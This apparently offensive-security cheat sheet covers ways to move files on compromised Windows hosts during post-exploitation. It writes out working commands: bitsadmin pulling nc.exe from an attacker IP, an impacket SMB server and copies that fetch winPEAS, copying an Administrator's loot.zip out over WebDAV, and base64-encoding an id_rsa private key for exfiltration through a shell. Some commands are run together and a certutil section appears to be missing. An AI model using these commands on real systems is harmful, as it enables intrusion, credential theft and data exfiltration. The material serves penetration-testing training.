Windows gives you several native ways to move files across the network. Some are old (certutil, bitsadmin), some modern (PowerShell), and all are present on a default install — which is the whole point. Know them, because the day your beacon can’t reach back out over HTTPS is the day you need certutil.
Flagged by most modern AV, but still works in constrained environments.
bitsadmin
bitsadmin /transfer job /download /priority normal http://10.10.10.10/nc.exe C:\Users\Public\nc.exe
Downloads via the Background Intelligent Transfer Service — the same mechanism Windows Update uses, so it blends in.
SMB Downloads
Start an SMB server on the attacker:
sudo impacket-smbserver scripts -smb2support /tmp/smbshare# Or with creds (required against modern Windows that blocks anonymous guest)sudo impacket-smbserver scripts -smb2support /tmp/smbshare -user test -password test
Pull from the target:
copy \\10.10.10.10\scripts\winpeas.ps1 C:\Users\Public\net use n: \\10.10.10.10\scripts /user:test testcopy n:\winpeas.ps1 .
dir \\10.10.10.10\DavWWWRootcopy C:\Users\Administrator\Desktop\loot.zip \\10.10.10.10\DavWWWRoot\
DavWWWRoot
DavWWWRoot is a keyword the Windows WebDAV mini-redirector recognizes to mean “root of the WebDAV server.” You can skip it if you reference a real folder name instead.
When nothing outbound works and you only have a shell:
# Encode on the target[Convert]::ToBase64String((Get-Content -Path 'C:\Users\Public\id_rsa' -Encoding Byte))# Decode a blob you pasted in[IO.File]::WriteAllBytes('C:\Users\Public\id_rsa',[Convert]::FromBase64String('BASE64HERE'))Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
cmd.exe 8191-char limit
If the blob exceeds 8191 chars, split it. PowerShell is less restrictive but still has limits on very large strings.
Writable without admin
C:\Users\Public and C:\Windows\Temp are world-writable by default.